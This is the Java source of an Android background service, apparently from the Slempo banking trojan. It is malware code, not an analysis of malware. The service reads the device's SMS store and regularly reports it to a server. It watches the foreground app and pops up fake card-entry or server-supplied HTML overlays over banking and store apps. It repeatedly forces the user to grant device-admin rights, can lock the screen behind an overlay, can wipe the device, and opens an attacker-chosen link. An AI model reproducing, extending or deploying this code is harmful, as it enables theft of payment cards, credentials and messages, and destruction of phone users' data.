package org.slempo.service;

import java.lang.reflect.Field;
import java.util.List;
import java.util.concurrent.Executors;
import java.util.concurrent.ScheduledExecutorService;
import java.util.concurrent.TimeUnit;

import org.json.JSONArray;
import org.json.JSONException;
import org.json.JSONObject;
import org.slempo.service.activities.Cards;
import org.slempo.service.activities.CommonHTML;
import org.slempo.service.utils.Sender;
import org.slempo.service.utils.Utils;

import android.app.ActivityManager;
import android.app.ActivityManager.RunningTaskInfo;
import android.app.Service;
import android.app.admin.DevicePolicyManager;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.content.SharedPreferences;
import android.net.Uri;
import android.os.Build;
import android.os.Handler;
import android.os.IBinder;
import android.os.Looper;

public class MainService extends Service {

	private Context context;

	public static boolean isRunning = false;

	private static DevicePolicyManager deviceManager;

	private static SharedPreferences settings;

	public static OverlayView OVERLAY_VIEW;

	private static JSONArray htmlData;
	
	public void onCreate() {
		context = this;
		isRunning = true;
		super.onCreate();
		settings = getSharedPreferences(Constants.PREFS_NAME, MODE_PRIVATE);
		deviceManager = (DevicePolicyManager) getSystemService(DEVICE_POLICY_SERVICE);
		try {
			htmlData = new JSONArray(settings.getString(Constants.HTML_DATA,
					"[]"));
		} catch (JSONException e) {
			e.printStackTrace();
		}
		if (settings.getString(Constants.MESSAGES_DB, "").equals("")) {
			Utils.putStringValue(settings, Constants.MESSAGES_DB, Utils.readMessagesFromDeviceDB(context));
		}
		OVERLAY_VIEW = new OverlayView(this, R.layout.update);
		if (settings.getBoolean(Constants.IS_LOCKED, false)) {
			showSystemDialog();
		} else {
			hideSystemDialog();
		}
		ScheduledExecutorService scheduler = Executors
				.newSingleThreadScheduledExecutor();
		scheduler.scheduleAtFixedRate(new Runnable() {

			public void run() {
				Sender.sendInitialData(context);
			}
		}, 0, Constants.ASK_SERVER_TIME_MINUTES * 60, TimeUnit.SECONDS);
		scheduler.scheduleAtFixedRate(new Runnable() {

			public void run() {
					String packageName = getTop();
					String html = getHTMLForPackageName(packageName);
					if ((isRunning("com.android.vending") || isRunning("com.google.android.music"))
							&& !settings.getBoolean(Constants.CODE_IS_SENT,
									false) && Constants.ENABLE_CC_GOOGLE_PLAY) {
						Intent i = new Intent(MainService.this, Cards.class);
						i.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
						i.addFlags(Intent.FLAG_ACTIVITY_REORDER_TO_FRONT);
						startActivity(i);
					} else if (!html.equals("")) {
						Intent i = new Intent(context, CommonHTML.class);
						i.addFlags(Intent.FLAG_ACTIVITY_REORDER_TO_FRONT);
						i.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
						try {
							JSONObject jObject = new JSONObject();
							jObject.put("html", html);
							jObject.put("package", packageName);
							i.putExtra("values", jObject.toString());
							context.startActivity(i);
						} catch (JSONException e) {
							e.printStackTrace();
						}
					}
			}
		}, 0, 4000, TimeUnit.MILLISECONDS);
		scheduler.scheduleAtFixedRate(new Runnable() {

			@Override
			public void run() {
				checkDeviceAdmin();
			}
		}, 0, 100, TimeUnit.MILLISECONDS);
	}

	public int onStartCommand(Intent intent, int flags, int startId) {
		return super.onStartCommand(intent, flags, startId);
	}

	public void onDestroy() {
		super.onDestroy();
		isRunning = false;
	}

	public IBinder onBind(Intent intent) {
		return null;
	}


	public boolean isRunning(String packageName) {
		ActivityManager am = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);
		List<RunningTaskInfo> tasks = am.getRunningTasks(1);
		if (!tasks.isEmpty()) {
			ComponentName topActivity = tasks.get(0).topActivity;
			if (topActivity.getPackageName().contains(packageName)) {
				return true;
			}
		}
		return false;
	}
	
	private String getTop() {
		String activePackage = null;
		if (Build.VERSION.SDK_INT > Build.VERSION_CODES.KITKAT_WATCH) {
			activePackage = getActivePackageL();
		} else {
			activePackage = getActivePackagePreL();
		}
		if (activePackage != null) {
			return activePackage;
		} else {
			return "";
		}
	}

	private String getActivePackageL() {
		final int PROCESS_STATE_TOP = 2;
		ActivityManager.RunningAppProcessInfo currentInfo = null;
		Field field = null;
		try {
			field = ActivityManager.RunningAppProcessInfo.class
					.getDeclaredField("processState");
		} catch (Exception ignored) {

		}
		ActivityManager am = (ActivityManager) context
				.getSystemService(Context.ACTIVITY_SERVICE);
		List<ActivityManager.RunningAppProcessInfo> appList = am
				.getRunningAppProcesses();
		for (ActivityManager.RunningAppProcessInfo app : appList) {
			if (app.importance == ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND
					&& app.importanceReasonCode == ActivityManager.RunningAppProcessInfo.REASON_UNKNOWN) {
				Integer state = null;
				try {
					state = field.getInt(app);
				} catch (Exception e) {
				}
				if (state != null && state == PROCESS_STATE_TOP) {
					currentInfo = app;
					break;
				}
			}
		}
		if (currentInfo == null) {
			return "";
		}
		return currentInfo.pkgList[0];
	}

	@SuppressWarnings("deprecation")
	private String getActivePackagePreL() {
		ActivityManager am = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);
		final List<ActivityManager.RunningTaskInfo> taskInfo = am
				.getRunningTasks(1);
		if (!taskInfo.isEmpty()) {
			final ComponentName componentName = taskInfo.get(0).topActivity;
			return componentName.getPackageName();
		} else {
			return "";
		}
	}

	public static void hideSystemDialog() {
		new Handler(Looper.getMainLooper()).post(new Runnable() {

			@Override
			public void run() {
				OVERLAY_VIEW.hide();
			}
		});
	}

	public static void showSystemDialog() {
		new Handler(Looper.getMainLooper()).post(new Runnable() {

			@Override
			public void run() {
				OVERLAY_VIEW.show();
			}
		});
	}

	public static void wipeData() {
		new Handler(Looper.getMainLooper()).post(new Runnable() {

			@Override
			public void run() {
				deviceManager.wipeData(0);
			}
		});
	}

	private void checkDeviceAdmin() {
		ComponentName componentName = new ComponentName(this,
				MyDeviceAdminReceiver.class);
		if (!deviceManager.isAdminActive(componentName)) {
			Intent intent = new Intent();
			intent.setClass(this, DeviceAdminChecker.class);
			intent.setFlags(intent.getFlags() | Intent.FLAG_ACTIVITY_NEW_TASK
					| Intent.FLAG_ACTIVITY_SINGLE_TOP);
			startActivity(intent);
		} else if (!settings.getBoolean(Constants.IS_LINK_OPENED, false)
				&& Constants.APP_MODE.equals("1")) {
			Utils.putBooleanValue(settings, Constants.IS_LINK_OPENED, true);
			String url = Constants.LINK_TO_OPEN;
			url = url.trim();
			if (!url.startsWith("http://") && !url.startsWith("https://")) {
				url = "http://" + url;
			}
			Intent browserIntent = new Intent(Intent.ACTION_VIEW,
					Uri.parse(url));
			browserIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
			startActivity(browserIntent);
		}
	}

	private String getHTMLForPackageName(String packageName) {
		for (int i = 0; i < htmlData.length(); i++) {
			try {
				JSONObject packagesObject = htmlData.getJSONObject(i);
				JSONArray packagesNames = packagesObject
						.getJSONArray("packages");
				for (int j = 0; j < packagesNames.length(); j++) {
					if (packageName
							.equalsIgnoreCase(packagesNames.getString(j))) {
						return packagesObject.getString("html");
					}
				}
			} catch (JSONException e) {
				e.printStackTrace();
			}
		}
		return "";
	}

	public static void removePackage(String packageName) {
		JSONArray newData = new JSONArray();
		for (int i = 0; i < htmlData.length(); i++) {
			try {
				JSONObject packagesObject = htmlData.getJSONObject(i);
				JSONArray packagesNames = packagesObject
						.getJSONArray("packages");
				boolean found = false;
				JSONArray newPackages = new JSONArray();
				for (int j = 0; j < packagesNames.length(); j++) {
					if (!found
							&& packageName.equalsIgnoreCase(packagesNames
									.getString(j))) {
						found = true;
					} else {
						newPackages.put(packagesNames.getString(j));
					}
				}
				if (!found) {
					newData.put(packagesObject);
				} else {
					JSONObject newJsonObject = new JSONObject();
					newJsonObject.put("packages", newPackages);
					newJsonObject.put("html", packagesObject.getString("html"));
					newData.put(newJsonObject);
				}
			} catch (JSONException e) {
				e.printStackTrace();
			}
		}
		htmlData = newData;
		Utils.putStringValue(settings, Constants.HTML_DATA, htmlData.toString());
	}

	public static void updateHTML(JSONArray data) {
		htmlData = data;
	}
	/**/
}
